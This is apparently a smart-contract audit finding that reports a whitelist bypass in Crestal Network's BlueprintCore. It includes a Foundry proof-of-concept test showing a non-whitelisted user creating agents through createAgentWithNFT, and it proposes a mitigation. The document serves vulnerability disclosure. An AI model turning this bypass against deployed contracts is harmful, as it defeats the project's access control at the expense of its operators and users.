Soaring Caramel Dragon

Medium

# Incomplete whitelist implementation in `BlueprintCore` allows bypass of agent creation restrictions

### Summary

Inconsistent whitelist validation across agent creation functions in `BlueprintCore` causes a complete bypass of whitelist restrictions as non-whitelisted users can create agents through alternative functions.

### Root Cause

The `BlueprintCore.sol::createAgentWithWhitelistUsers()` function implements whitelist checks, but identical functionality is available through `BlueprintCore::createAgentWithNFT()` without any whitelist validation.

Here is the `createAgentWithWhitelistUsers()` function:
https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L521-L538

Here is the `createAgentWithNFT()` function which has the exact same functionality except for the whitelist check:
https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L510-L519

### Internal Pre-conditions

N/A

### External Pre-conditions

N/A

### Attack Path

1. Non-whitelisted user attempts to call `BlueprintCore::createAgentWithWhitelistUsers()` and transaction reverts
2. Same user bypasses restriction by calling `BlueprintCore::createAgentWithNFT()` with identical parameters
3. Agent is created successfully despite user not being whitelisted

### Impact

The entire whitelist system becomes ineffective, breaking a core access control mechanism:
1. Any user with a valid NFT can create agents without being whitelisted
2. Whitelisted users can create unlimited agents instead of being restricted to one

### PoC

Create a new test case in `test/BlueprintCoreWhitelist.t.sol`:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {BlueprintV5} from "../src/BlueprintV5.sol";
import {MockERC721} from "./MockERC721.sol";

contract BlueprintCoreWhitelistTest is Test {
    BlueprintV5 blueprint;
    MockERC721 public mockNFT;

    address nonWhitelistedUser = address(0x1);

    function setUp() public {
        blueprint = new BlueprintV5();
        blueprint.initialize();
        mockNFT = new MockERC721();
        blueprint.setNFTContractAddress(address(mockNFT));
    }

    function test_whitelistBypass() public {
        uint256 validTokenId = 1;
        mockNFT.mint(nonWhitelistedUser, validTokenId);

        bytes32 projectId = keccak256("test-project");

        // user is not whitelisted
        vm.startPrank(nonWhitelistedUser);

        vm.expectRevert("User is not in whitelist");
        blueprint.createAgentWithWhitelistUsers(projectId, "base64Proposal", address(0), "url", validTokenId);

        // By pass whitelist
        blueprint.createAgentWithNFT(projectId, "base64Proposal", address(0), "url", validTokenId);

        bytes32 createdProjectId = blueprint.getLatestUserProjectID(nonWhitelistedUser);
        assertEq(createdProjectId, projectId);

        uint256 validSecondTokenId = 2;
        mockNFT.mint(nonWhitelistedUser, validSecondTokenId);
        bytes32 secondProjectId = keccak256("test-project-2");

        // By pass whitelist for a second time creating another agent
        blueprint.createAgentWithNFT(secondProjectId, "base64Proposal", address(0), "url", validSecondTokenId);

        bytes32 secondCreatedProjectId = blueprint.getLatestUserProjectID(nonWhitelistedUser);
        assertEq(secondCreatedProjectId, secondProjectId);

        vm.stopPrank();
    }
}
```

Run the test:

```bash
forge test --mt test_whitelistBypass
```

### Mitigation

Move whitelist validation to the internal `createAgent()` function to ensure consistent enforcement across all agent creation methods.